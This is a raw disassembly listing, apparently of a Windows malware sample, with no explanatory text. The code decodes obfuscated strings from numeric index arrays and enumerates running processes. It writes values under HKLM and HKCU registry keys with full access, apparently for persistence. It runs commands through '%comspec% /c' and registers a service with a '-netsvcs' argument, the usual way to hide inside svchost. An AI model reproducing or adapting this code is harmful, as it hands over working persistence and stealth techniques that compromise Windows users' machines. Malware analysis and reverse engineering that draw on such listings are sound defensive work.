push esi
mov dword_449070, eax
call edi
push offset aProcess32next ; "Process32Next"
push esi
mov dword_44906C, eax
call edi
mov dword_448F38, eax
mov eax, dword_449074
test eax, eax
jz short loc_40D741
push ebx
push 0
call eax
loc_40D741: ; CODE XREF: sub_40D650+A7j
; sub_40D650+EAj
mov esi, [esp+1A8h+arg_0]
push 0
mov ecx, esi
call sub_4017EE
push eax
lea ecx, [esp+1B0h+var_184]
call sub_402135
test eax, eax
jnz short loc_40D778
mov al, byte_44915F
test al, al
jz short loc_40D778
mov ecx, esi
call sub_4017EE
push eax
call sub_401604
; ---------------------------------------------------------------------------
add esp, 4
loc_40D778: ; CODE XREF: sub_40D650+10Dj
; sub_40D650+116j
push 0
push 5
push 18h
push 5
push 4Eh
push 46h
push 47h
push 12h
push 10h
push 10h
push 0Eh
push 9
lea eax, [esp+1D8h+var_19C]
push 17h
push eax
call sub_4019C4
add esp, 38h
mov ecx, eax
mov byte ptr [esp+1A8h+var_4], 2
call sub_4017EE
push eax
call sub_401604
sub_40D650 endp
; ---------------------------------------------------------------------------
add esp, 4
lea ecx, [esp+0Ch]
mov [esp+1A4h], bl
call sub_401226
push 0
push 5
push 18h
push 5
push 4Eh
push 14h
push 13h
push 0Fh
push 8
push 0Ch
push 0Ch
lea ecx, [esp+38h]
push 4
push ecx
call sub_4019C4
add esp, 34h
mov ecx, eax
mov byte ptr [esp+1A4h], 3
call sub_4017EE
push eax
call sub_401604
; ---------------------------------------------------------------------------
add esp, 4
lea ecx, [esp+0Ch]
mov [esp+1A4h], bl
call sub_401226
push 0
push 5
push 18h
push 5
push 4Eh
push 4
push 10h
push 14h
push 6
lea edx, [esp+30h]
push 14h
push edx
call sub_4019C4
add esp, 2Ch
mov ecx, eax
mov byte ptr [esp+1A4h], 4
call sub_4017EE
push eax
call sub_401604
; ---------------------------------------------------------------------------
add esp, 4
lea ecx, [esp+0Ch]
mov [esp+1A4h], bl
call sub_401226
push 0
push 5
push 18h
push 5
push 4Eh
push 14h
push 13h
push ebx
push 0Ch
push 2
push 13h
lea eax, [esp+38h]
push 0Dh
push eax
call sub_4019C4
add esp, 34h
mov ecx, eax
mov byte ptr [esp+1A4h], 5
call sub_4017EE
push eax
call sub_401604
; ---------------------------------------------------------------------------
add esp, 4
lea ecx, [esp+0Ch]
mov [esp+1A4h], bl
call sub_401226
push 0
push 5
push 18h
push 5
push 4Eh
push 46h
push 47h
push 13h
push 9
push 0Eh
push 5
lea ecx, [esp+38h]
push 10h
push ecx
call sub_4019C4
add esp, 34h
mov ecx, eax
mov byte ptr [esp+1A4h], 6
call sub_4017EE
push eax
call sub_401604
; ---------------------------------------------------------------------------
add esp, 4
lea ecx, [esp+0Ch]
mov [esp+1A4h], bl
call sub_401226
push 0
push 5
push 18h
push 5
push 4Eh
push 8
push 3
push 14h
push ebx
push 10h
push 13h
lea edx, [esp+38h]
push 0Dh
push edx
call sub_4019C4
add esp, 34h
mov ecx, eax
mov byte ptr [esp+1A4h], 7
call sub_4017EE
push eax
call sub_401604
; ---------------------------------------------------------------------------
db 83h
dd 4C8D04C4h, 9C880C24h, 1A424h, 38E4E800h, 448DFFFFh
dd 6A3C24h, 244C8D50h, 3EC4E82Ch, 0C085FFFFh, 116850Fh
dd 8B550000h, 3E8CE8CEh, 6A50FFFFh, 244C8D5Ch, 3E80E848h
dd 8D50FFFFh, 0A8248Ch, 8680000h, 5100444Bh, 4ED9E890h
dd 3D8B001Eh, 5118ACh, 0FF14C483h, 24948DD7h, 9Ch, 8D52006Ah
dd 8B30244Ch, 3CE9E8E8h, 358BFFFFh, 511914h, 85D6FF50h
dd 0FF3075C0h, 3DC52BD7h, 61A8h, 0D0682573h, 90000007h
dd 424255E8h, 24848D02h, 9Ch, 8D50006Ah, 0E830244Ch, 0FFFF3CB3h
dd 85D6FF50h, 0A0D074C0h, 4497BBh, 74C0845Dh, 0D8358B39h
dd 6800511Ah, 104h, 9C248C8Dh, 68000000h, 444B00h, 83D6FF51h
dd 4C8D0CC4h, 4682424h, 0E8000001h, 0FFFF3DDAh, 9C24948Dh
dd 50000000h, 83D6FF52h, 11B90CC4h, 33000000h, 247C8DC0h
dd 24948D54h, 98h, 8966ABF3h, 842484h, 448D0000h, 4C8D0C24h
dd 51505424h, 6A006Ah, 6A53286Ah, 52006A00h, 44C7006Ah
dd 447C24h, 0E8900000h, 23F2A0Fh, 874C085h, 0E890006Ah
dd 7782C40Eh, 24244C8Dh, 0A42484C6h, 1, 0FF37A5E8h, 244C8DFFh
dd 2484C73Ch, 1A4h, 0FFFFFFFFh, 0FF3791E8h, 248C8BFFh
dd 19Ch, 5EC38A5Fh, 0D89645Bh, 0
; ---------------------------------------------------------------------------
add esp, 19Ch
retn 4
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 120h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40DBE0 proc near ; CODE XREF: sub_401195j
mov al, byte_449161
test al, al
jz short loc_40DBF4
push offset word_449162
nop
call near ptr 27F0D22h
loc_40DBF4: ; CODE XREF: sub_40DBE0+7j
mov al, 1
retn
sub_40DBE0 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40DC10 proc near ; CODE XREF: sub_401E79j
var_6D0 = dword ptr -6D0h
var_6CC = dword ptr -6CCh
var_6C8 = dword ptr -6C8h
var_6C4 = dword ptr -6C4h
var_6C0 = dword ptr -6C0h
var_6BC = dword ptr -6BCh
var_6B8 = dword ptr -6B8h
var_6B4 = dword ptr -6B4h
var_6B0 = byte ptr -6B0h
var_6AC = byte ptr -6ACh
var_694 = byte ptr -694h
var_67C = byte ptr -67Ch
var_664 = byte ptr -664h
var_64C = byte ptr -64Ch
var_634 = byte ptr -634h
var_61C = byte ptr -61Ch
var_604 = byte ptr -604h
var_5EC = byte ptr -5ECh
var_5D4 = byte ptr -5D4h
var_5BC = byte ptr -5BCh
var_5A4 = byte ptr -5A4h
var_58C = byte ptr -58Ch
var_574 = byte ptr -574h
var_564 = dword ptr -564h
var_534 = word ptr -534h
var_520 = byte ptr -520h
var_41C = byte ptr -41Ch
var_318 = byte ptr -318h
var_214 = byte ptr -214h
var_110 = byte ptr -110h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_40DC10
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 6C4h
push esi
lea eax, [esp+6D4h+var_41C]
push 104h
push eax
push 0
call near ptr 2881BAFh
nop
push eax
nop
call near ptr 2881090h
lea ecx, [esp+6D4h+var_318]
push ecx
push 104h
nop
call near ptr 27E0000h
push 0
push 14h
push 1
push 2
push 4Fh
push 0Fh
push 12h
push 6
lea edx, [esp+6F4h+var_5EC]
push 1
push edx
call sub_4019C4
add esp, 28h
mov ecx, eax
mov [esp+6D4h+var_4], 0
call sub_4017EE
push eax
lea eax, [esp+6D8h+var_318]
push eax
lea ecx, [esp+6DCh+var_520]
push offset dword_444684
push ecx
call sub_5F285B
nop
add esp, 10h
lea ecx, [esp+6D4h+var_5EC]
mov [esp+6D4h+var_4], 0FFFFFFFFh
call sub_401226
push 0
push 0
push 2
push 0
push 0
lea edx, [esp+6E8h+var_520]
push 40000000h
push edx
nop
call near ptr 2860000h
mov esi, eax
test esi, esi
jbe loc_40E168
push ebx
push ebp
push edi
lea ecx, [esp+6E0h+var_6AC]
call sub_40142E
push 0
push 14h
push 1
push 2
lea eax, [esp+6F0h+var_604]
push 4Fh
push eax
mov [esp+6F8h+var_4], 1
call sub_4019C4
mov edi, eax
push 0
push 39h
push 10h
push 0Dh
push 5
push 14h
push 39h
push 4Eh
push 0Ch
push 5
lea ecx, [esp+720h+var_634]
push 4
push ecx
mov byte ptr [esp+728h+var_4], 2
call sub_4019C4
add esp, 48h
mov ebp, eax
push 0
push 14h
push 1
push 2
lea edx, [esp+6F0h+var_664]
push 4Fh
push edx
mov byte ptr [esp+6F8h+var_4], 3
call sub_4019C4
mov ebx, eax
push 0
push 39h
push 10h
push 0Dh
push 5
push 14h
push 39h
push 4Eh
push 20h
push 52h
push 4Eh
push 0Ch
push 5
lea eax, [esp+72Ch+var_67C]
push 4
push eax
mov byte ptr [esp+734h+var_4], 4
call sub_4019C4
add esp, 54h
mov [esp+6E0h+var_6B4], eax
push 0
push 5
push 0Eh
push 0Fh
push 4
lea ecx, [esp+6F4h+var_61C]
push 53h
push ecx
mov byte ptr [esp+6FCh+var_4], 5
call sub_4019C4
mov [esp+6FCh+var_6C8], eax
mov byte ptr [esp+6FCh+var_4], 6
push 0
push 14h
push 12h
push 1
push 14h
push 13h
push 4Eh
push 0Fh
push 14h
push 0Fh
lea edx, [esp+724h+var_5D4]
push 7
push edx
call sub_4019C4
add esp, 4Ch
mov [esp+6E0h+var_6B8], eax
push 0
push 54h
push 54h
push 45h
push 39h
push 54h
push 54h
push 4Eh
push 0Ch
push 5
lea eax, [esp+708h+var_5A4]
push 4
push eax
mov byte ptr [esp+710h+var_4], 7
call sub_4019C4
mov [esp+710h+var_6C0], eax
push 0
push 54h
push 54h
push 45h
push 39h
push 54h
push 54h
push 4Eh
push 20h
push 52h
push 4Eh
push 0Ch
push 5
lea ecx, [esp+744h+var_58C]
push 4
push ecx
mov byte ptr [esp+74Ch+var_4], 8
call sub_4019C4
add esp, 6Ch
mov [esp+6E0h+var_6D0], eax
push 0
push 5
push 0Eh
push 0Fh
push 4
push 4Eh
push 0Fh
push 14h
push 0Fh
push 7
push 4Eh
push 54h
push 54h
push 45h
push 39h
push 54h
push 54h
push 4Eh
push 14h
push 13h
push 9
push 18h
push 5
push 4Eh
push 14h
mov byte ptr [esp+744h+var_4], 9
push 0Fh
push 0Eh
push 4Eh
push 6
lea edx, [esp+754h+var_694]
push 9
push edx
call sub_4019C4
mov [esp+75Ch+var_6CC], eax
push 0
push 14h
push 12h
push 1
push 14h
push 13h
lea eax, [esp+774h+var_5BC]
push 53h
push eax
mov byte ptr [esp+77Ch+var_4], 0Ah
call sub_4019C4
add esp, 9Ch
mov [esp+6E0h+var_6C4], eax
push 0
push 6
push 6
push 0Fh
push 4Eh
push 0Fh
push 8
push 3
push 5
lea ecx, [esp+704h+var_64C]
push 56h
push ecx
mov byte ptr [esp+70Ch+var_4], 0Bh
call sub_4019C4
add esp, 2Ch
mov [esp+6E0h+var_6BC], eax
mov ecx, edi
mov byte ptr [esp+6E0h+var_4], 0Ch
call sub_4017EE
push eax
mov ecx, ebp
call sub_4017EE
push eax
mov ecx, ebx
call sub_4017EE
mov ecx, [esp+6E8h+var_6B4]
push eax
call sub_4017EE
mov ecx, [esp+6ECh+var_6C8]
push eax
call sub_4017EE
mov ecx, [esp+6F0h+var_6B8]
push eax
call sub_4017EE
mov ecx, [esp+6F4h+var_6C0]
push eax
call sub_4017EE
mov ecx, [esp+6F8h+var_6D0]
push eax
call sub_4017EE
mov ecx, [esp+6FCh+var_6CC]
push eax
call sub_4017EE
mov ecx, [esp+700h+var_6C4]
push eax
call sub_4017EE
mov ecx, [esp+704h+var_6BC]
push eax
call sub_4017EE
push eax
lea edx, [esp+70Ch+var_6AC]
push offset aSSSSSSSSSS ; "%s\r\n%s\r\n%s\r\n%s\r\n%s\r\n%s\r\n%s\r%s\r\n%s\r%s\r\n"
push edx
call sub_40102D
add esp, 34h
mov byte ptr [esp+6E0h+var_4], 0Bh
lea ecx, [esp+6E0h+var_64C]
call sub_401226
lea ecx, [esp+6E0h+var_5BC]
mov byte ptr [esp+6E0h+var_4], 0Ah
call sub_401226
lea ecx, [esp+6E0h+var_694]
mov byte ptr [esp+6E0h+var_4], 9
call sub_401226
lea ecx, [esp+6E0h+var_58C]
mov byte ptr [esp+6E0h+var_4], 8
call sub_401226
lea ecx, [esp+6E0h+var_5A4]
mov byte ptr [esp+6E0h+var_4], 7
call sub_401226
lea ecx, [esp+6E0h+var_5D4]
mov byte ptr [esp+6E0h+var_4], 6
call sub_401226
lea ecx, [esp+6E0h+var_61C]
mov byte ptr [esp+6E0h+var_4], 5
call sub_401226
lea ecx, [esp+6E0h+var_67C]
mov byte ptr [esp+6E0h+var_4], 4
call sub_401226
lea ecx, [esp+6E0h+var_664]
mov byte ptr [esp+6E0h+var_4], 3
call sub_401226
lea ecx, [esp+6E0h+var_634]
mov byte ptr [esp+6E0h+var_4], 2
call sub_401226
lea ecx, [esp+6E0h+var_604]
mov byte ptr [esp+6E0h+var_4], 1
call sub_401226
lea eax, [esp+6E0h+var_6B0]
push 0
push eax
push 69h
lea ecx, [esp+6ECh+var_6AC]
call sub_4017EE
push eax
push esi
nop
call near ptr 27F0000h
push esi
nop
call near ptr 28406F3h
mov ecx, 11h
xor eax, eax
lea edi, [esp+6E0h+var_564]
push 104h
rep stosd
lea ecx, [esp+6E4h+var_41C]
mov [esp+6E4h+var_564], 44h
push ecx
push eax
mov [esp+6ECh+var_534], ax
nop
call near ptr 2881BAFh
push eax
nop
call near ptr 2881090h
lea edx, [esp+6E0h+var_41C]
lea eax, [esp+6E0h+var_520]
push edx
push eax
lea ecx, [esp+6E8h+var_214]
push offset aComspecCSS ; "%%comspec%% /c %s %s"
push ecx
nop
call sub_5F285B
add esp, 10h
lea edx, [esp+6E0h+var_110]
lea eax, [esp+6E0h+var_214]
push 104h
push edx
push eax
nop
call near ptr 2810000h
lea ecx, [esp+6E0h+var_574]
lea edx, [esp+6E0h+var_564]
push ecx
push edx
push 0
push 0
push 28h
push 1
push 0
push 0
lea eax, [esp+700h+var_110]
push eax
push 0
nop
call near ptr 2800473h
lea ecx, [esp+6E0h+var_6AC]
mov [esp+6E0h+var_4], 0FFFFFFFFh
call sub_401226
pop edi
pop ebp
pop ebx
mov al, 1
pop esi
mov ecx, [esp+6D0h+var_C]
mov large fs:0, ecx
add esp, 6D0h
retn
; ---------------------------------------------------------------------------
loc_40E168: ; CODE XREF: sub_40DC10+D6j
mov ecx, [esp+6D4h+var_C]
mov al, 1
pop esi
mov large fs:0, ecx
add esp, 6D0h
retn
sub_40DC10 endp
; ---------------------------------------------------------------------------
db 160h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40E2E0 proc near ; CODE XREF: sub_401730j
var_70 = dword ptr -70h
var_6C = byte ptr -6Ch
var_54 = byte ptr -54h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 0FFFFFFFFh
push offset SEH_40E2E0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 64h
push ebx
push ebp
push esi
push edi
lea ecx, [esp+80h+var_54]
call sub_40142E
lea ecx, [esp+80h+var_6C]
mov [esp+80h+var_4], 0
call sub_40142E
lea ecx, [esp+80h+var_3C]
mov byte ptr [esp+80h+var_4], 1
call sub_40142E
push 0
push 5
push 3
push 0Eh
push 29h
push 0Eh
push 15h
push 2Ch
push 50h
push 0Eh
push 0Fh
push 9
push 13h
push 12h
push 5
push 30h
push 14h
push 0Eh
push 5
push 12h
push 12h
push 15h
push 1Dh
push 50h
push 13h
push 17h
push 0Fh
push 4
push 0Eh
push 9
push 31h
push 50h
push 14h
push 6
push 0Fh
push 13h
push 0Fh
push 12h
push 3
push 9
push 27h
push 50h
push 5
push 12h
push 1
push 17h
push 14h
push 6
push 0Fh
lea eax, [esp+144h+var_24]
mov bl, 2
push 2Dh
push eax
mov byte ptr [esp+14Ch+var_4], bl
call sub_4019C4
add esp, 0CCh
push eax
lea ecx, [esp+84h+var_6C]
mov byte ptr [esp+84h+var_4], 3
call sub_40202C
lea ecx, [esp+80h+var_24]
mov byte ptr [esp+80h+var_4], bl
call sub_401226
push 0
push 13h
push 5
push 3
push 9
push 16h
push 12h
push 5
push 2Dh
push 0Eh
push 15h
push 2Ch
push 50h
push 0Eh
push 0Fh
push 9
push 13h
push 12h
push 5
push 30h
push 14h
push 0Eh
push 5
push 12h
push 12h
push 15h
push 1Dh
push 50h
push 13h
push 17h
push 0Fh
push 4
push 0Eh
push 9
push 31h
push 50h
push 14h
push 6
push 0Fh
push 13h
push 0Fh
push 12h
push 3
push 9
push 27h
push 50h
push 5
push 12h
push 1
push 17h
push 14h
push 6
push 0Fh
lea ecx, [esp+154h+var_24]
push 2Dh
push ecx
call sub_4019C4
add esp, 0DCh
push eax
lea ecx, [esp+84h+var_3C]
mov byte ptr [esp+84h+var_4], 4
call sub_40202C
lea ecx, [esp+80h+var_24]
mov byte ptr [esp+80h+var_4], bl
call sub_401226
push 0
push 0Eh
push 15h
push 2Ch
push 50h
push 0Eh
push 0Fh
push 9
push 13h
push 12h
push 5
push 30h
push 14h
push 0Eh
push 5
push 12h
push 12h
push 15h
push 1Dh
push 50h
push 13h
push 17h
push 0Fh
push 4
push 0Eh
push 9
push 31h
push 50h
push 14h
push 6
push 0Fh
push 13h
push 0Fh
push 12h
push 3
push 9
push 27h
push 50h
push 5
push 12h
push 1
push 17h
push 14h
push 6
push 0Fh
lea edx, [esp+134h+var_24]
push 2Dh
push edx
call sub_4019C4
add esp, 0BCh
push eax
lea ecx, [esp+84h+var_54]
mov byte ptr [esp+84h+var_4], 5
call sub_40202C
lea ecx, [esp+80h+var_24]
mov byte ptr [esp+80h+var_4], bl
call sub_401226
lea eax, [esp+80h+var_70]
push 0
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
lea ecx, [esp+9Ch+var_54]
call sub_4017EE
mov ebp, dword_51175C
push eax
push 80000002h
call ebp
mov esi, [esp+80h+arg_4]
mov ecx, esi
call sub_40168B
mov edi, eax
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
push ecx
mov ecx, esi
call sub_40168B
mov ebx, [esp+84h+arg_0]
push eax
push 1
push 0
mov ecx, ebx
call sub_40168B
mov ecx, [esp+90h+var_70]
push eax
push ecx
call near ptr 2950000h
nop
mov edx, [esp+80h+var_70]
push edx
nop
call near ptr 2910000h
push 0
lea eax, [esp+84h+var_70]
lea ecx, [esp+84h+var_6C]
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
call sub_4017EE
push eax
push 80000002h
call ebp
mov ecx, esi
call sub_40168B
mov edi, eax
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
push ecx
mov ecx, esi
call sub_40168B
push eax
push 1
push 0
mov ecx, ebx
call sub_40168B
mov ecx, [esp+90h+var_70]
push eax
push ecx
call near ptr 2950000h
nop
mov edx, [esp+80h+var_70]
push edx
call near ptr 2910000h
nop
lea eax, [esp+80h+var_70]
push 0
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
lea ecx, [esp+9Ch+var_54]
call sub_4017EE
push eax
push 80000001h
call ebp
mov ecx, esi
call sub_40168B
mov edi, eax
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
push ecx
mov ecx, esi
call sub_40168B
push eax
push 1
push 0
mov ecx, ebx
call sub_40168B
mov ecx, [esp+90h+var_70]
push eax
push ecx
call near ptr 2950000h
nop
mov edx, [esp+80h+var_70]
push edx
nop
call near ptr 2910000h
lea eax, [esp+80h+var_70]
push 0
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
lea ecx, [esp+9Ch+var_6C]
call sub_4017EE
push eax
push 80000001h
call ebp
mov ecx, esi
call sub_40168B
mov edi, eax
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
push ecx
mov ecx, esi
call sub_40168B
push eax
push 1
push 0
mov ecx, ebx
call sub_40168B
mov ecx, [esp+90h+var_70]
push eax
push ecx
nop
call near ptr 2950000h
mov edx, [esp+80h+var_70]
push edx
call near ptr 2910000h
nop
lea eax, [esp+80h+var_70]
push 0
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
lea ecx, [esp+9Ch+var_3C]
call sub_4017EE
push eax
push 80000002h
call ebp
mov ecx, esi
call sub_40168B
mov edi, eax
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
push ecx
mov ecx, esi
call sub_40168B
push eax
push 1
push 0
mov ecx, ebx
call sub_40168B
mov ecx, [esp+90h+var_70]
push eax
push ecx
call near ptr 2950000h
nop
mov edx, [esp+80h+var_70]
push edx
nop
call near ptr 2910000h
lea ecx, [esp+80h+var_3C]
mov byte ptr [esp+80h+var_4], 1
call sub_401226
lea ecx, [esp+80h+var_6C]
mov byte ptr [esp+80h+var_4], 0
call sub_401226
lea ecx, [esp+80h+var_54]
mov [esp+80h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+80h+var_C]
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
mov large fs:0, ecx
add esp, 70h
retn 8
sub_40E2E0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 120h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40E860 proc near ; CODE XREF: sub_401451j
var_70 = dword ptr -70h
var_6C = byte ptr -6Ch
var_54 = byte ptr -54h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
push 0FFFFFFFFh
push offset SEH_40E860
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 64h
push ebx
push ebp
push esi
push edi
lea ecx, [esp+80h+var_6C]
call sub_40142E
lea ecx, [esp+80h+var_3C]
mov [esp+80h+var_4], 0
call sub_40142E
lea ecx, [esp+80h+var_54]
mov byte ptr [esp+80h+var_4], 1
call sub_40142E
push 0
push 5
push 3
push 0Eh
push 29h
push 0Eh
push 15h
push 2Ch
push 50h
push 0Eh
push 0Fh
push 9
push 13h
push 12h
push 5
push 30h
push 14h
push 0Eh
push 5
push 12h
push 12h
push 15h
push 1Dh
push 50h
push 13h
push 17h
push 0Fh
push 4
push 0Eh
push 9
push 31h
push 50h
push 14h
push 6
push 0Fh
push 13h
push 0Fh
push 12h
push 3
push 9
push 27h
push 50h
push 5
push 12h
push 1
push 17h
push 14h
push 6
push 0Fh
lea eax, [esp+144h+var_24]
mov bl, 2
push 2Dh
push eax
mov byte ptr [esp+14Ch+var_4], bl
call sub_4019C4
add esp, 0CCh
push eax
lea ecx, [esp+84h+var_3C]
mov byte ptr [esp+84h+var_4], 3
call sub_40202C
lea ecx, [esp+80h+var_24]
mov byte ptr [esp+80h+var_4], bl
call sub_401226
push 0
push 13h
push 5
push 3
push 9
push 16h
push 12h
push 5
push 2Dh
push 0Eh
push 15h
push 2Ch
push 50h
push 0Eh
push 0Fh
push 9
push 13h
push 12h
push 5
push 30h
push 14h
push 0Eh
push 5
push 12h
push 12h
push 15h
push 1Dh
push 50h
push 13h
push 17h
push 0Fh
push 4
push 0Eh
push 9
push 31h
push 50h
push 14h
push 6
push 0Fh
push 13h
push 0Fh
push 12h
push 3
push 9
push 27h
push 50h
push 5
push 12h
push 1
push 17h
push 14h
push 6
push 0Fh
lea ecx, [esp+154h+var_24]
push 2Dh
push ecx
call sub_4019C4
add esp, 0DCh
push eax
lea ecx, [esp+84h+var_54]
mov byte ptr [esp+84h+var_4], 4
call sub_40202C
lea ecx, [esp+80h+var_24]
mov byte ptr [esp+80h+var_4], bl
call sub_401226
push 0
push 0Eh
push 15h
push 2Ch
push 50h
push 0Eh
push 0Fh
push 9
push 13h
push 12h
push 5
push 30h
push 14h
push 0Eh
push 5
push 12h
push 12h
push 15h
push 1Dh
push 50h
push 13h
push 17h
push 0Fh
push 4
push 0Eh
push 9
push 31h
push 50h
push 14h
push 6
push 0Fh
push 13h
push 0Fh
push 12h
push 3
push 9
push 27h
push 50h
push 5
push 12h
push 1
push 17h
push 14h
push 6
push 0Fh
lea edx, [esp+134h+var_24]
push 2Dh
push edx
call sub_4019C4
add esp, 0BCh
push eax
lea ecx, [esp+84h+var_6C]
mov byte ptr [esp+84h+var_4], 5
call sub_40202C
lea ecx, [esp+80h+var_24]
mov byte ptr [esp+80h+var_4], bl
call sub_401226
lea eax, [esp+80h+var_70]
push 0
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
lea ecx, [esp+9Ch+var_6C]
call sub_4017EE
mov esi, dword_51175C
push eax
push 80000002h
call esi
mov edi, [esp+80h+arg_0]
mov ecx, edi
call sub_40168B
mov ecx, [esp+80h+var_70]
mov ebp, dword_51176C
push eax
push ecx
call ebp
mov edx, [esp+80h+var_70]
mov ebx, dword_511740
push edx
call ebx
lea eax, [esp+80h+var_70]
push 0
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
lea ecx, [esp+9Ch+var_54]
call sub_4017EE
push eax
push 80000002h
call esi
mov ecx, edi
call sub_40168B
mov ecx, [esp+80h+var_70]
push eax
push ecx
call ebp
mov edx, [esp+80h+var_70]
push edx
call ebx
lea eax, [esp+80h+var_70]
push 0
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
lea ecx, [esp+9Ch+var_6C]
call sub_4017EE
push eax
push 80000002h
call esi
mov ecx, edi
call sub_40168B
mov ecx, [esp+80h+var_70]
push eax
push ecx
call ebp
mov edx, [esp+80h+var_70]
push edx
call ebx
lea eax, [esp+80h+var_70]
push 0
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
lea ecx, [esp+9Ch+var_6C]
call sub_4017EE
push eax
push 80000001h
call esi
mov ecx, edi
call sub_40168B
mov ecx, [esp+80h+var_70]
push eax
push ecx
call ebp
mov edx, [esp+80h+var_70]
push edx
call ebx
lea eax, [esp+80h+var_70]
push 0
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
lea ecx, [esp+9Ch+var_3C]
call sub_4017EE
push eax
push 80000001h
call esi
mov ecx, edi
call sub_40168B
mov ecx, [esp+80h+var_70]
push eax
push ecx
call ebp
mov edx, [esp+80h+var_70]
push edx
call ebx
lea ecx, [esp+80h+var_54]
mov byte ptr [esp+80h+var_4], 1
call sub_401226
lea ecx, [esp+80h+var_3C]
mov byte ptr [esp+80h+var_4], 0
call sub_401226
mov [esp+80h+var_4], 0FFFFFFFFh
lea ecx, [esp+80h+var_6C]
call sub_401226
mov ecx, [esp+80h+var_C]
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
mov large fs:0, ecx
add esp, 70h
retn 4
sub_40E860 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 0F0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40ECF0 proc near ; CODE XREF: sub_4014A1j
var_54 = byte ptr -54h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 0FFFFFFFFh
push offset SEH_40ECF0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 48h
push ebx
push esi
mov esi, ecx
lea ecx, [esp+5Ch+var_24]
call sub_40142E
push 104h
push 104h
lea ecx, [esp+64h+var_24]
mov [esp+64h+var_4], 0
call sub_401C71
push eax
call near ptr 2800000h
nop
lea ecx, [esp+5Ch+var_3C]
call sub_40142E
mov ecx, [esp+5Ch+arg_4]
mov byte ptr [esp+5Ch+var_4], 1
call sub_4017EE
push eax
lea ecx, [esp+60h+var_24]
call sub_4017EE
push eax
lea eax, [esp+64h+var_3C]
push offset dword_444684
push eax
call sub_40102D
add esp, 10h
lea ecx, [esp+5Ch+var_54]
call sub_40142E
lea ecx, [esp+5Ch+var_54]
push offset aNetsvcs ; "-netsvcs"
push ecx
mov byte ptr [esp+64h+var_4], 2
call sub_40102D
mov ecx, [esp+64h+arg_0]
add esp, 8
lea edx, [esp+5Ch+var_54]
lea eax, [esp+5Ch+var_3C]
push edx
push eax
push ecx
mov ecx, esi
call sub_402171
lea ecx, [esp+5Ch+var_54]
mov bl, al
mov byte ptr [esp+5Ch+var_4], 1
call sub_401226
lea ecx, [esp+5Ch+var_3C]
mov byte ptr [esp+5Ch+var_4], 0
call sub_401226
lea ecx, [esp+5Ch+var_24]
mov [esp+5Ch+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+5Ch+var_C]
mov al, bl
pop esi
pop ebx
mov large fs:0, ecx
add esp, 54h
retn 8
sub_40ECF0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40EE30 proc near ; CODE XREF: sub_402171j
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = byte ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push 0FFFFFFFFh
push offset SEH_40EE30
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 38h
push ebx
push ebp
push esi
push edi
push 0F003Fh
push offset aServicesactive ; "ServicesActive"
mov [esp+5Ch+var_44], ecx
push 0
call near ptr 2910898h
nop
mov edi, eax
test edi, edi
jnz short loc_40EE6F
xor al, al
jmp loc_40EFC0
; ---------------------------------------------------------------------------
loc_40EE6F: ; CODE XREF: sub_40EE30+36j
lea ecx, [esp+54h+var_24]
call sub_40142E
mov ecx, [esp+54h+arg_8]
mov [esp+54h+var_4], 0
call sub_4017EE
mov ebx, [esp+54h+arg_4]
push eax
mov ecx, ebx
call sub_4017EE
push eax
lea eax, [esp+5Ch+var_24]
push offset aSS_4 ; "\"%s\" %s"
push eax
call sub_40102D
add esp, 10h
lea ecx, [esp+54h+var_24]
push 0
push 0
push 0
push 0
push 0
call sub_4017EE
push eax
push 1
push 2
push 20h
push 0F01FFh
mov ecx, offset dword_449834
call sub_4017EE
mov ebp, [esp+7Ch+arg_0]
push eax
